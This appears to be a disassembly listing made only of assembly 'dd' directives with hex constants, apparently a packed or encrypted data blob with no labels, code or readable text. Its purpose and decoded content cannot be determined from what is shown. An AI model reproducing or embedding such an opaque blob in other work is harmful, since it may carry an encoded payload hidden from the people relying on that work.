		dd 9FE8312Eh, 0DB12E183h, 42AA4D47h, 52E368D7h,	4A642B54h
		dd 0BADAC4BFh, 0B888C6E2h, 0F541094Bh, 3B21F98Dh, 29B5BFB9h
		dd 7AD68043h, 407B9E03h, 6CE97948h, 83AC213Eh, 93F0C54Ah
		dd 0B4321655h, 30190947h, 5B4FFCC4h, 1404CDC5h,	161CF746h
		dd 669B2CD8h, 2990681Dh, 0FA42EC2Eh, 203D4C5Dh,	6635917Ah
		dd 0E608415Ah, 5FFA209Ch, 1859B15Dh, 3EAE985h, 0B58AF1B5h
		dd 0E1CEBE1Ch, 3919E909h, 14F7B4A9h, 5342FE5Ah,	0F59C154h
		dd 0CF4C5907h, 90C1F53Bh, 1FC0BDBFh, 0C5E380B5h, 4E541706h
		dd 0BE2B2063h, 0FB2C313Fh, 98BE7357h, 0EFC5629Fh, 2A2513DDh
		dd 4FF4EC0Eh, 5347472Dh, 72E719B1h, 97AE6D70h, 5CE1905Fh
		dd 0C94DC148h, 2FB03B07h, 4182D4C7h, 16CBF7AEh,	67BAF1F8h
		dd 64332730h, 0E57646h,	59C889C3h, 0F0E9D029h, 0D07586AAh
		dd 6A2616C9h, 0A2970AD3h, 50BF81A9h, 3FE58D90h,	0E29240Bh
		dd 46C044F3h, 0B27830EAh, 78BD5919h, 6FF50120h,	13E914D7h
		dd 0D82435C1h, 0DDB93B27h, 84E76527h, 922CEE9h,	92AADF2Dh
		dd 5C003FB0h, 0BB534FF2h, 623F1F81h, 52FD85Bh, 68E9E1D1h
		dd 0CBD0E1B1h, 9FAB9574h, 8058B460h, 12BBE25Ch,	0E2EF816Bh
		dd 45B6927Bh, 2756421Ah
		dd 7A9A9261h, 12B61716h, 0D0557350h, 0F44EE7D9h, 14B5D9Dh
		dd 68D090FBh, 1DB304F1h, 0E3C4A512h, 8DD60AE3h,	0C5E44A27h
		dd 0E6BA6852h, 48D52D2Bh, 17BAC276h, 0E80DB236h, 506642Ah
		dd 62B72B80h, 0E9761366h, 0C73B842Ah, 91640555h, 0E550592Bh
		dd 7BE1C1BFh, 0DCB38080h, 0A0D94F08h, 34408E57h, 0F66BEF54h
		dd 53E98319h, 0C68D0E6Fh, 4F091FBFh, 0ECAD1075h, 0B8B60483h
		dd 805EF721h, 6F59FE1Ah, 0CD094C7Fh, 0D8311CEFh, 518DE9Fh
		dd 948CE928h, 0ACB8BA5Ah, 5EC9F47Dh, 660DD05Bh,	0FB70B050h
		dd 0F1B5C376h, 284F6F34h, 2BC5E0D9h, 40E44BF0h,	0CC4A081Eh
		dd 4047ED88h, 32D68C8h,	8D509857h, 1BB2B74Ch, 7EA7C6C8h
		dd 214D760Bh, 0E68880EEh, 6071E905h, 0DBD48A6h,	547A4A19h
		dd 985EF827h, 275903E3h, 807F499Ch, 3944C218h, 617625h
		dd 0E0A684F2h, 0E9D7013Bh, 48B5677Ch, 72BCBDBh,	814B2FDDh
		dd 6D2CD0E3h, 0BDA15770h, 0FD0102E6h, 7EB5A17Ah, 84F627B3h
		dd 22E0450Dh, 2618B3D7h, 3EF0AD0Ah, 3A707C8Bh, 5064D2A2h
		dd 730EC5C8h, 5C483925h, 28562C31h, 590B8145h, 0C510A37Bh
		dd 3D728E9h, 0E6BEF345h, 8276390Fh, 16E9CAC3h, 9314D746h
		dd 0EB83D20h, 8107EDC1h, 70679B61h, 4E5E479h, 2CB86190h
		dd 60BA660Fh, 2D842631h, 0D2B84F12h, 71F70160h,	0CE0CF43h
		dd 0F7E9271Bh, 5824E3BAh, 5E2D5246h, 13690705h,	0AD80A916h
		dd 41796198h, 0A41D1D98h, 0E0A5D962h, 3555794h,	0F4169E68h
		dd 3A095D7Ch, 9080C52h,	0D54D8B04h, 1FA3F16h, 776C9914h
		dd 0A09779A7h, 2F7A90ECh, 0ADC1B502h, 7D022F31h, 63C68AEEh
		dd 0B8EFCCD5h, 86F1D79Fh, 101FB87Eh, 56132753h,	83B90454h
		dd 0C55F0EBAh, 0DCECA1DAh, 20F53BCDh, 29C041E6h, 0C15AD331h
		dd 70658E3h, 4F194704h,	1CF48148h, 8053C536h, 0D584D60Ch
		dd 4A3FE9C0h, 0DCBAE74h, 284B9D4Bh, 42A24B37h, 0F9548A9Fh
		dd 636F82DAh, 2D703B38h, 0A779269Ah, 0BA257500h, 0DEFD802h
		dd 4BF2BD01h, 0CA027298h, 50DB7CCDh, 39FC5D4Ah,	244BE95h
		dd 0A57432C2h, 0C3C94145h, 4DAA0104h, 8268B646h, 0C6DB9B0Ch
		dd 2594DE9Ch, 0A0649675h, 10D78BBh, 3B86188h, 7B9B1C8Eh
		dd 510205ADh, 0D1F65BB1h, 86FD4462h, 3B1A1FFEh,	0D7A5D921h
		dd 0EBFCC989h, 0F4637762h, 0C5256F2Ah, 0C640FCDCh, 62B3AD02h
		dd 0E79DCEF1h, 9D65D65Fh, 636A8A5Ah, 0CCD60150h, 2131341Dh
		dd 443DDE1h, 1098E914h,	5B1AE511h, 73DDD883h, 0B8DF275Ch
		dd 58886487h, 16202D02h, 665FBA04h, 0A1801A9Fh,	580B1047h
		dd 4A04831Bh, 0C602E51Ch, 8831C55h, 5A141C40h, 52976875h
		dd 44C820EBh, 0A38911BEh, 6E30FFDDh, 0BCBC3B54h, 6A07DFC9h
		dd 8F013849h, 77814047h, 1A194CCCh, 3F5E35F8h, 4E53D05Dh
		dd 51D4CC79h, 0A9BE78CAh, 8F413040h, 27567C54h,	0BB54FB22h
		dd 4874F173h, 60981772h, 43046856h, 5E749E2Eh, 462800EBh
		dd 0F9E9534Eh, 2AAA469Ah, 776489DDh, 1652FE2Fh,	1DA7BCB5h
		dd 89285070h, 0D6336427h, 5CD85261h, 0DD260C09h, 0CC3770Fh
		dd 65D3E999h, 9FF67B54h, 0D6C2AD92h, 519B1444h,	60E4E7ECh
		dd 0D17E9FEh, 439859B5h, 0D9344E7Eh, 4AA824DAh,	0ABD3ED52h
		dd 0C0278BE2h, 0C4686D01h, 8498938h, 0D4E75B9h,	35043131h
		dd 2084159Bh, 804AD2F7h, 7DD9E3E4h, 0ECADC94Ah,	4AF08B10h
		dd 0BCE3F513h, 362D510h, 0C18069B1h, 0CC06046Dh, 5604E1C0h
		dd 0F6846D01h, 3B7CFEDBh, 0C67E1527h, 4C8300Bh,	0FE172A4Bh
		dd 89C92DCAh, 6B53F9D5h, 1C125608h, 244E97E9h, 9EEFB99Fh
		dd 6DEABE12h, 0D2D2AF2h, 4A32F730h, 3FF7F363h, 4C28999h
		dd 0BC1CFD31h, 0C69DC179h, 79FC13DFh, 0E3FAA828h, 4E2CBE78h
		dd 567CAA59h, 65D303BBh, 0B6E92F09h, 0D768270Dh, 56EDF145h
		dd 0EC4FCD78h, 4BCC0FA3h, 4BB5384h, 0AB867F96h,	0AEB502E8h
		dd 3688F66h, 21272687h,	9FC8B3BEh, 0DE5B01E3h, 8072808h
		dd 0DD266054h, 2E47A001h, 0F47E2910h, 523D5EB4h, 6E200968h
		dd 90B4902Dh, 6BEF899Eh, 184C80A8h, 0C31F4522h,	87A61CF8h
		dd 4CE36D15h, 793E07F6h, 1BB32E5Bh, 0B3161C39h,	0D512F52h
		dd 2A298EFh, 8545B758h,	0DC951CB2h, 535A002Fh, 140E2468h
		dd 0D05B3125h, 0FB619DDAh, 10926D50h, 883FC52Bh, 5AD02FF2h
		dd 86A11066h, 74C43E57h, 4E7E5E8Bh, 0B8000E53h,	38733016h
		dd 625B0732h, 9A10C2ADh, 101658C3h, 680917BEh, 0E51310B5h
		dd 27BB01FCh, 0C06AEE45h, 0FA4013BEh, 0D3F7101Ah, 4E804004h
		dd 7D302D33h, 4B8F4283h, 9CEE9B26h, 0C5F68100h,	0C06B6D38h
		dd 0F2E60D0Ch, 0FD33E9A1h, 4512ABBh, 1E106946h,	53ADEF4Fh
		dd 0E0C15C9Dh, 0A2BFE42Ah, 8579CB98h, 7AC4F59h,	383CE81h
		dd 0EE62074Bh, 2E347E61h, 1F8FC6E9h, 39EF33A0h,	0C37740FEh
		dd 0A1E9D27Bh, 0D02F91B4h, 0DD302D7Eh, 68574990h, 0CE78AF0Bh
		dd 3ED5F83Ah, 0BAD415Dh, 0E69F3C70h, 0C75E4D29h, 0E183A665h
		dd 29B02A49h, 0FE32404Dh, 1054C158h, 2D727409h,	0F85C3877h
		dd 2909651Fh, 59B69031h, 49BBF255h, 0FC012F36h,	668AC480h
		dd 0C3BFB5Bh, 9B512C26h, 7AE57E1Eh, 3A52318Ah, 0F4F18832h
		dd 43BA08F5h, 4AE0F1A0h, 31EC2AEBh, 8416EE2Ch, 0AC59EC68h
		dd 43D5C4A5h, 0C67701EAh, 479628FAh, 721160DBh,	20BF32BCh
		dd 0BF4A9E61h, 465CC435h, 1C88162h, 0BA0330F1h,	6B1C281Fh
		dd 0BB2C29C7h, 4804Ch, 5B0E7605h, 5D572D6Ch, 7B274839h
		dd 0C467F805h, 0F50C29FEh, 1253545Eh, 0B838AF19h, 0EA40055Ah
		dd 10EF0175h, 592408F1h, 36FA4398h, 2F8AD110h, 9255F350h
		dd 0F98939E8h, 8527CD3Dh, 0CCB96000h, 15484116h, 53320B6h
		dd 694C22BDh, 5EC521h, 3F72CD77h, 57960ED3h, 4D8503BEh
		dd 0FF314B98h, 0D608E926h, 876C93B0h, 89FCA9E5h, 0A9114303h
		dd 0A92121Dh, 0D6AF0942h, 2D30645Dh, 0B1C07B3Eh, 599FAAA5h
		dd 0B89ABC99h, 77422D18h, 6C7BE681h, 69807EC8h,	0B625E4Fh
		dd 5434E979h, 7144B971h, 0E7D19CD1h, 0CF7AAFDDh, 0CB8813E8h
		dd 58E83817h, 0E5206C89h, 615196B8h, 0DE8E454Fh, 60F2B80Fh
		dd 0E056500h, 6090552Fh, 0F2A974Dh, 49D0295Bh, 2509E053h
		dd 841F5E1Ch, 1621866Bh, 0EE467D09h, 75DAD50Bh,	2CBF019Fh
		dd 0F5D865ABh, 49221618h, 8104AE1Fh, 413FDA2h, 5E32D41h
		dd 9E814B43h, 0AB2B3530h, 7EA51731h, 19E58657h,	9BF948Ch
		dd 760DC704h, 0DF645ED6h, 275849F0h, 1A70EBD1h,	6EC33804h
		dd 0AAACE268h, 2CBDE9C2h, 1188EC51h, 0EFD10CA4h, 471F9ED8h
		dd 0C74C0386h, 2CC11AD0h, 4805E7h, 0E68FB05Ch, 5F09FB29h
		dd 0DB636168h, 13963D39h, 72D9BC25h, 0FAD0AC5Bh, 0B036C9E5h
		dd 36519709h, 3374702Dh, 0E5E159A0h, 3F540AB9h,	0C4FA7744h
		dd 0BC6C0104h, 44BBD789h, 0F95B5D09h, 58C38437h, 0E9C356ACh
		dd 444B57D6h, 0F53CA0FCh, 971E6496h, 4731034Eh,	93FCFA8Ch
		dd 0C1580840h, 6241B358h, 0CA806F6Dh, 5EEDE9D0h, 0F220ACBFh
		dd 0B24D6F2h, 36D75854h, 172E4B4Bh, 0BB2EC2C6h,	18C837Fh
		dd 775BCADAh, 68623E54h, 0E08B755Dh, 31EE7D5h, 3148B866h
		dd 823A95A5h, 90928C4h,	0C2C1B2E6h, 75FC7791h, 0CB102DE2h
		dd 0D4F4B250h, 0B35360ECh, 0C30180D2h, 0C0DBF6D7h, 98E307EBh
		dd 5A6AE962h, 3DC1B622h, 2240C149h, 900A0B5Ch, 487BD52h
		dd 0F820A8A1h, 0B635AA20h
		dd 0BA7C2569h, 3A1606A6h, 0E1C1AE42h, 0E10F705h, 0A702EE80h
		dd 2C5AF788h, 8AC3DD96h, 0F996DFA6h, 0CA714252h, 0D01AF509h
		dd 0E07BB485h, 0FB5B019Bh, 9EAB5E98h, 0CA2C0E59h, 3B5DD00Fh
		dd 629B8E25h, 16DEE885h, 0E1CE4EB7h, 21E90C61h,	5FFA2B9Fh
		dd 0E496E5CBh, 3613F44Fh, 6C98A7A9h, 36705668h,	2A9EF59Dh
		dd 0AB58EE43h, 21028C20h, 95355EF0h, 2C02D741h,	5A00643Ah
		dd 1F1BCA81h, 0C18C46Fh, 2918DBFEh, 255FF93Ch, 12180FE7h
		dd 0F9D199AFh, 0B83774F3h, 0DA4C6700h, 3DD50D26h, 256F7FB2h
		dd 0C0D26155h, 3039BE27h, 0A7220F9Bh, 3B56AC64h, 0AE4E18B8h
		dd 4530733Dh, 0EAADD616h, 5BA27087h, 0EE6166D6h, 430A2D68h
		dd 0C1E272F4h, 8BB9B11Fh, 44985FCAh, 5D950EB0h,	5E52FE32h
		dd 49622902h, 0D6A4E91Eh, 3312A17h, 0EEB1FC1Bh,	40C8E889h
		dd 72B638E9h, 65F9B801h, 43EE1DA4h, 0A3568881h,	8336C061h
		dd 0F76B8D1Eh, 60BDDD4Fh, 7201507Bh, 7A3F4D18h,	139C7148h
		dd 0B95D132Dh, 410CD00Fh, 0DFAC2F08h, 5FC4FF32h, 5F72E55Eh
		dd 0E984455Bh, 0F6AB48ADh, 2B8A417Eh, 0E2EB2C85h, 54EAC34Bh
		dd 6B39D225h, 8189598h,	0E204331Ch, 0EDAA163h, 2607DA13h
		dd 16C0346Dh, 775C80D7h, 295D34EEh, 0BDB848Ch, 8849C5CDh
		dd 8096F0Ch, 4432D589h,	0DDCB8B5Dh, 6626C31Eh, 0C2426B09h
		dd 0C85D0B0Dh, 1F6935D2h, 0EEC1440Ah, 87043A42h, 0C36A0403h
		dd 0BFF42B5Ch, 0AA06CFCCh, 51746884h, 4412568h,	7C943A18h
		dd 0E94B4A02h, 5FFF81B4h, 0B9683D56h, 0D07EE202h, 47FADF3Ch
		dd 0D788AD25h, 0C94A8D2Eh, 2C0217FAh, 0E926504Fh, 318E87C0h
		dd 3F0456C2h, 0CC107633h, 0C0A6F31Dh, 0B9512C74h, 0B75C6C4Ah
		dd 3CE51161h, 29B12676h, 24F6A700h, 0D430D772h,	98B7290Ch
		dd 0B7333827h, 2082051Bh, 0DE605576h, 0A16C9F7Ah, 740EAB0h
		dd 0F5D0215Bh, 7276B47Ah, 1C2D4A42h, 0E947B85Dh, 4DC2BFD7h
		dd 96A63379h, 0AB1C9597h, 5F5E0FF2h, 0E92A37F8h, 9CD3A5DDh
		dd 14E204ACh, 20B1CCDFh, 0BDA07F59h, 0B00BFC57h, 5CEF0938h
		dd 138A0E35h, 0EE217CE4h, 5CFA24C4h, 0E18BC3D7h, 0A0B7DD70h
		dd 1BC8738Ch, 53F90100h, 0CF22B2BBh, 0AE3FC0Fh,	3B2F625Ah
		dd 0C661FCDh, 6A0C36F0h, 0FC307039h, 3796CB06h,	118071Eh
		dd 4C170412h, 2E3A7DE9h, 2D00D4A7h, 2E1B3C93h, 0F2BDDAE9h
		dd 4B5377F7h, 0F8161327h, 0D6CD4FDCh, 0C283BA4h, 0C1ED2894h
		dd 0C9392C0Bh, 698F5F2Fh, 1C6B08D4h, 6085C277h,	0BF3EFBFEh
		dd 0B7782EF6h, 4DBE80F5h, 56CC4E00h, 10CEF681h,	766476E2h
		dd 710B12E6h, 805C123Ah, 65ABBE2h, 68531107h, 770B4686h
		dd 0B1CA5765h, 2A9FDF86h, 4D022052h, 50FE9AA0h,	80089730h
		dd 3A8CF39Ch, 804A3161h, 0AA1966DEh, 123C4C5Dh,	16BADE89h
		dd 0C1BFF92Ah, 6C74C781h, 0E53F78FDh, 0AE080582h, 87EB3785h
		dd 7E830D8h, 7317A62Dh,	8C60140h, 0DE43ED3Eh, 40EFD350h
		dd 4F8B083Eh, 0E2E8FC2Ch, 0C8B8001Ch, 1B00D158h, 3053BA25h
		dd 4E01E971h, 4BEEF757h, 0A3D7DCA9h, 0B2E9090Ch, 67F374A4h
		dd 289ECBB9h, 3F3BBCBEh, 601BAE1Fh, 2E9B4C08h, 0CD8180C3h
		dd 2AC22936h, 8D02F5ECh, 19C1C98h, 0FC9AE2E8h, 0B5FE2763h
		dd 88D902EBh, 65470771h, 76CCBED4h, 66D02830h, 3F49314Fh
		dd 6092D273h, 745AAFDh,	585FB084h, 7BE48B50h, 0D97D3BBh
		dd 38EB5D52h, 0EEB6394Ch, 0B343F8Fh, 312C0407h,	307AD9A2h
		dd 0B6108A74h, 0FE7928D1h, 0E6B79375h, 0BB6A9F06h, 8FF32887h
		dd 7CE91221h, 0C227806Eh, 8E5FEBFDh, 0F8D04B01h, 0F65CB253h
		dd 49762F86h, 0B1D25C78h, 0A6D0855h, 0D5F8280Bh, 2C741DC6h
		dd 478D8E0h, 64A785BFh,	1950D0F8h, 0B76D5360h, 0BECB05Bh
		dd 32301D59h, 5359904Ch, 0F1E5938Ch, 0BE871570h, 5CF2AEB2h
		dd 69B2F782h, 0DB27990Ah, 526F168Eh, 541AE6A0h,	6513D4E4h
		dd 13016849h, 0EC114EBh, 322E4C98h, 0E8EEC888h,	3AED414Eh
		dd 0D83CBED6h, 40445B36h, 586F307Ah, 0C903810Bh, 2DFD6AA7h
		dd 0B30E0A41h, 2880052Fh, 0D5808AAFh, 0DEA6D348h, 0F18B7828h
		dd 46385300h, 2E5C14Dh,	1FF224E9h, 1ED99677h, 2530D0A2h
		dd 0DD0FD705h, 0E695E044h, 29E316D7h, 0AFD3F7E3h, 5D0BA7CEh
		dd 1EA6A8E9h, 0CE09FA55h, 7511334Ch, 0EF8DD580h, 0E9163BF8h
		dd 4DB42E4Ah, 601B7C6Bh, 0C1120C3Ch, 895E697Ah,	2E63B06h
		dd 153A016Ah, 0E5814A0Bh, 6A96F47Ch, 0E903E0C1h, 0B66BA5F5h
		dd 7FFD7ABEh, 0C1E6244Ah, 0F83E58EDh, 62E909B0h, 3C9CD1F1h
		dd 0CC141813h, 4749E125h, 0EE881C20h, 2D05F096h, 0F2F23A89h
		dd 2326624Ch, 0B8519615h, 74C00FCh, 0B8BD13E8h,	0EC1707F8h
		dd 6BE9F501h, 835745E2h, 59262A70h, 0E54F9F97h,	52666BA4h
		dd 239E20A8h, 0CAF1EB9Dh, 0BF90DE2Dh, 0BBD35B92h, 0BB92BCB6h
		dd 21C4EDE6h, 4CFAED1h,	0ED40E91Ah, 2DEBD657h, 0E97040FEh
		dd 85846B90h, 6F1DBC01h, 2C1C7E22h, 0F3FA08A8h,	0BF563C5Fh
		dd 16D384EBh, 0DF82EBFCh, 3E6C755Dh, 750B6F69h,	29595EF1h
		dd 2242013Fh, 60446364h, 757D96A9h, 0CCCED8E5h,	29416B09h
		dd 35DC60D1h, 4FC03064h, 0AD557A28h, 0E10BB14Ah, 5340D75Ah
		dd 68800806h, 0C8725D52h, 0BD811188h, 347B4CE5h, 0F85E4F20h
		dd 3B4858D9h, 0F0643305h, 617C8020h, 0C14A0D39h, 0C13E73B1h
		dd 4FEDCBEh, 44A88102h,	74928225h, 4D7F0B3Fh, 6DE91F16h
		dd 1289B024h, 86200DECh, 0FCA35150h, 1A3232Eh, 95ECAD12h
		dd 0CF2BFF4Fh, 0B133A414h, 11C4BB92h, 222AC2h, 0A4593EBAh
		dd 0FA314E2Dh, 86275C1Fh, 9BEDC18Eh, 51F1DC53h,	4603D6B1h
		dd 5584F8Bh, 0B328BA9Ah, 3333C731h, 2D9027E2h, 0EB0541C0h
		dd 5F8014Eh, 595F0704h,	42F480FBh, 84A162Fh, 0BA6C4AAh
		dd 50FE5808h, 0A1B4E961h, 0DEFE316Bh, 502D00FCh, 68422D79h
		dd 2B679D61h, 0BB9C25EFh, 72CDD991h, 0F2045606h, 7ED417D6h
		dd 166E42C0h, 0E93D09BBh, 0A208291h, 21220B57h,	4941591Fh
		dd 0CAE49D53h, 0C3CA3E81h, 51206409h, 0D38D8BD7h, 31579708h
		dd 8B89DA7Fh, 0F1616879h, 900A447h, 0D15D670Ah,	0DF84F22h
		dd 0CFE5F901h, 7F446825h, 0A2A72096h, 0E986ED10h, 68130D09h
		dd 0AFE378C4h, 291ECC12h, 3CFB2B18h, 4A970192h,	20A34483h
		dd 563B3CB0h, 8B41A757h, 7D1C7563h, 0DE6C7E2Dh,	0F19CDEACh
		dd 10A1488h, 0ECC0C4B4h, 82B5E908h, 5EE1B815h, 181E0DCh
		dd 59BA8083h, 702EA612h, 0D5CE7FE1h, 51943E50h,	1256C908h
		dd 302EF15Bh, 0B0972DFDh, 88CD107Dh, 31138FE1h,	4FB77E90h
		dd 9384334Ch, 2711A912h, 20B8585Ah, 0D198C35Eh,	7C2DC520h
		dd 341A25ADh, 6879C956h, 0FE500138h, 20F35AEDh,	28FAB406h
		dd 3058E213h, 1F18A2B8h, 0EC8061C6h, 2DA2E4EBh,	0AF0E9493h
		dd 8DBF171Ch, 83D425Dh,	66CC0D0Eh, 0EC31172Eh, 0FC445E1Dh
		dd 88475090h, 0EB25842Fh, 1CA7B60h, 1ED32F40h, 0E918B07Ah
		dd 0BF34B069h, 0A92D13E3h, 0CE81E57Dh, 5ADCFEh,	0E9C50113h
		dd 0AA0D4A72h, 276874D8h, 8049086Ah, 7B723E51h,	6CD3F55Eh
		dd 2D0203A6h, 0C12E4E11h, 0C24897FFh, 0FC4B4104h, 480F990Ch
		dd 8AC63119h, 0CA3E9F98h, 0AB2E04E5h, 24E9BC38h, 9DF303D1h
		dd 0DA30C954h, 7810B748h, 0A775FA3Dh, 78D9421Eh, 0A9054B1Fh
		dd 0F0011340h, 1BA6508h, 0F22897BEh, 0FC402A37h, 2D685FB1h
		dd 26242AE9h, 379C09A4h
		dd 0B5F7D21h, 5059981Ah, 16BF0FB8h, 0C620383Fh,	5EF70958h
		dd 618D7E9Fh, 524A8DE9h, 59756C8Bh, 0F0983E77h,	50C1BF3Bh
		dd 0D0B9F517h, 40C180BEh, 39E5BC76h, 0CF58A14h,	4920C90h
		dd 0AEBD7E66h, 0EA81AB70h, 652416FCh, 1C59473h,	0A3E95808h
		dd 5E289328h, 98FB6357h, 0C049BECCh, 78EB3A66h,	71553520h
		dd 0F46DB25Dh, 7A2995Ah, 326A5B30h, 28F95869h, 767BBBEh
		dd 502F499Fh, 30DC6FA7h, 0E160F777h, 0BB30F7DCh, 7F011458h
		dd 0BB38874Ch, 0E927DF0Eh, 2C60EA6Ch, 1421854Eh, 0B9002340h
		dd 0F1787B28h, 6266C1F5h, 8CEB0332h, 1D64153Bh,	0C425CC0Ch
		dd 84F30120h, 0C081A27h, 215E1402h, 5D5A00DEh, 68840D7Ch
		dd 9F8D65F8h, 0A82BE9E1h, 0C5B4C554h, 0F36B44EAh, 66680131h
		dd 0B841D23Bh, 965410D4h, 21EEEA13h, 87A7D024h,	9D61F119h
		dd 65BC9165h, 7851E740h, 0A1AE4AEDh, 0A296C02h,	0D36BB968h
		dd 9AB80B89h, 5ACB9239h, 0C014EA64h, 9657BE28h,	8FBDC782h
		dd 0CB3BA624h, 39E60577h, 0E8179961h, 5CF60E2Eh, 8BD0EBDCh
		dd 0DD2F42A7h, 0C5AD7BF3h, 52E98B03h, 2BBF07Eh,	796A750Fh
		dd 82595029h, 8DD1DF08h, 0F66CBD62h, 0B05081A6h, 7F69B343h
		dd 6BC651F0h, 0E0571C80h, 0A1D07B0Fh, 6FCC3C4Bh, 2EF5A00Dh
		dd 328BFDF3h, 0DE71CA69h, 2C7C6CFh, 0ADBB061Ch,	5811A02Dh
		dd 59BEA4A0h, 63B64013h, 0FB790800h, 0A829128Fh, 8090B299h
		dd 0B4F0968h, 0A7C48EA9h, 295902AAh, 9487BFAh, 2BDA3B47h
		dd 73CE992Fh, 1C752F1Fh, 683FCDBBh, 0F9FDC240h,	0F14A4Fh
		dd 29FF1ECAh, 0E9DF9E9h, 3C77E6F3h, 0E790A53h, 70BA0614h
		dd 404B2568h, 5F78D8F3h, 0E886360Dh, 4F0E12A4h,	0C062C26Ch
		dd 0F5BE02EEh, 2F5097B8h, 25E9423Bh, 652BD409h,	5FBD9216h
		dd 0BF005A70h, 814B3C6Ah, 0A3D35CBh, 0D3F74163h, 462403DBh
		dd 1E0027F6h, 8A3A1FF3h, 0B0DD898Ch, 0FDFC52B1h, 0BA520803h
		dd 4ED3E38h, 1D26BCC8h,	0A01DE4Dh, 60AD8560h, 0ACEFB551h
		dd 7E484467h, 584A7D88h, 0E7BF92C0h, 678252Bh, 0B99D6E7Eh
		dd 99653A7h, 0DBB0233Bh, 53731962h, 7E4093B0h, 9D2BC431h
		dd 5BA1622h, 9092C4E6h,	0BB25F82Fh, 40AB4F5Ah, 5F24F633h
		dd 0F55C2913h, 5DEF1685h, 40B56FB4h, 7BB75B95h,	0C7FE0C40h
		dd 1EAEECFh, 604CB527h,	5C350935h, 0EE4AAB8Dh, 0BA008429h
		dd 9A437FEh, 4AE7E955h,	0DFAFC071h, 60A69C8Fh, 0F1046112h
		dd 1022EECDh, 5CFE8CC0h, 94164E98h, 59080F4Ch, 0A68C53Fh
		dd 0C0EEFC0Ch, 13CA4194h, 49112DE9h, 0FC5696F7h, 0C939E22h
		dd 9EA25F5Ah, 54F77113h, 4B827400h, 2EE94AEBh, 9DBB2021h
		dd 2FC0C9F2h, 99C8BCD4h, 2EF0B196h, 4ADE9FBDh, 0DFEA9A53h
		dd 0B2904664h, 0C63A0B41h, 681C1727h, 0FC2F7051h, 0EEE97808h
		dd 2AFE344Ah, 54BC4E59h, 83925339h, 0A31F91A9h,	0BC0401CFh
		dd 933085F4h, 43D12432h, 0E152598Dh, 68160536h,	0A6AF28B5h
		dd 0E90C406Dh, 0BAFF5C25h, 498E805Dh, 9568A863h, 0BBD75C41h
		dd 0DA05A08h, 5171406Eh, 63177997h, 1F40FCA8h, 221633CCh
		dd 6F81055Eh, 0E06ACB21h, 83F724Fh, 49680935h, 0D6461Dh
		dd 0D941EDB9h, 9D43BD72h, 19D6882Eh, 0BA058027h, 7AC96D91h
		dd 9D77F60Dh, 0C879CE44h, 0AC64BB26h, 0E674E18Bh, 3AD95C7h
		dd 927620C8h, 7B3A701Fh, 27ACBF49h, 0FE44E0FEh,	5E62CAEh
		dd 4F5067F2h, 2A92E1E5h, 0E9F07694h, 28E4654Ah,	0E7CEAA01h
		dd 266FEC10h, 0C612355Dh, 0E95078BBh, 5D31636Bh, 0B9BEEF1Eh
		dd 6300A020h, 0C11CCC4Ch, 984102E1h, 8FAE4E42h,	727A2723h
		dd 0F9F739EFh, 1EA768B8h, 23223077h, 8B55824Eh,	0C787FFAFh
		dd 0BCDDD456h, 0DF5F253Eh, 551818C7h, 25445C96h, 11523036h
		dd 0A9DA609h, 653AF06Fh, 0E85B2DB3h, 0F3ACF4A9h, 0BDD8A98Eh
		dd 0BB804017h, 931601A5h, 5BDA3118h, 0C8F92B52h, 4BD5F7C5h
		dd 35F5A98h, 0DE084873h, 30E22048h, 934EFE5Eh, 600D2DAh
		dd 6A50C0BBh, 78D6F52Dh, 0BE576C63h, 51955AF7h,	628D4975h
		dd 0DEF52B80h, 0BF258EE0h, 0C35F092Bh, 7C40DAB3h, 0B2D72DAAh
		dd 55DA5584h, 393CB732h, 0E1A7D7C7h, 8355C259h,	952E675h
		dd 2DEB4AC9h, 0D19DA47Dh, 96A023C5h, 51080FBEh,	0EEDC1B0Dh
		dd 4D5989E2h, 0C3D16E5Fh, 0E1ACE9CBh, 5C213A2Fh, 0E3D8BDCh
		dd 0E0D860F5h, 41295F6h, 853DA277h, 0E45F0934h,	0EEDD4AA0h
		dd 5F2C520Bh, 599751B4h, 0BD916C38h, 0EF03E706h, 1632451Eh
		dd 0F4F7B4Ah, 0EFF4BB9Fh, 8E292B17h, 9DE129DAh,	23A2F501h
		dd 91EC5F9Dh, 6371BD39h, 0DD6CADBFh, 6157F092h,	1051C0Dh
		dd 0B978BB11h, 0B34CEC48h, 0CEFA98BFh, 65992F1Bh, 60BFA570h
		dd 2D1AAB81h, 55F913C5h, 0BA68EA61h, 0F07B07FDh, 184E786Fh
		dd 3884E727h, 2D6F5CE5h, 102A22C0h, 30096D59h, 455757D8h
		dd 57024BE1h, 0F39A06ADh, 0B05D5F82h, 0FBE87D0Bh, 10950B41h
		dd 175059D1h, 6149C168h, 19473E2h, 213DD529h, 5BDFCD80h
		dd 0E7A02A93h, 454B527Ah, 0F02B5CF5h, 0D02656Ah, 31E9114Eh
		dd 0D1680126h, 0E6D75134h, 6615A033h, 8F373A0h,	0B58D1CB7h
		dd 7C170BF3h, 294F0BADh, 7BC7FF78h, 0DEB00273h,	1311633h
		dd 5B2D5872h, 2F8B985Fh, 3C1A43C1h, 0BBD3E96Dh,	0E91670B7h
		dd 3E57E139h, 0EE5A16CEh, 98E7F424h, 320EE90Ch,	0FC4CA5FDh
		dd 34871235h, 7D5A6FFh,	2047D6B8h, 3B990DB0h, 0FF59BDD5h
		dd 202FF4C0h, 0E4E92C0Fh, 0E85E964Fh, 53635056h, 76C95D12h
		dd 73A91603h, 0EF0C0025h, 3E5450EEh, 8F90FE01h,	6B9ADF8h
		dd 87E7004Bh, 98A950DBh, 4E7B0B5Fh, 0C65C7471h,	0D1B508A0h
		dd 0F49908BBh, 38A98917h, 0D819D51Fh, 0C8874065h, 0C4179A2Fh
		dd 0CFE93CE7h, 0BE918D5Fh, 0B789174Dh, 666288BAh, 0EE96C8BCh
		dd 541A86FEh, 4B26DEB7h, 2932E07Dh, 0C1E917DEh,	2409A926h
		dd 3B02D251h, 577A7C42h, 0D2922163h, 8132EC61h,	47ACBD26h
		dd 632055DCh, 995012B4h, 906F013Ch, 7F028E16h, 2C85BF49h
		dd 70CF5206h, 0AB7C955Dh, 9E43E9D8h, 92051781h,	50FF2D73h
		dd 93C4B44Dh, 5A81C2EBh, 0E1A2F955h, 757B21E9h,	0BCF06F7Bh
		dd 3F5A76D5h, 0D81CE831h, 4D5D271Ah, 53E90BC0h,	0F63B2ED8h
		dd 2B52FCD4h, 0E09504F4h, 7DF8A71Eh, 2DE2532Ch,	8D178A55h
		dd 1201580Fh, 7CC5680Bh, 0B9361332h, 0E908404Ch, 5D40CA2Fh
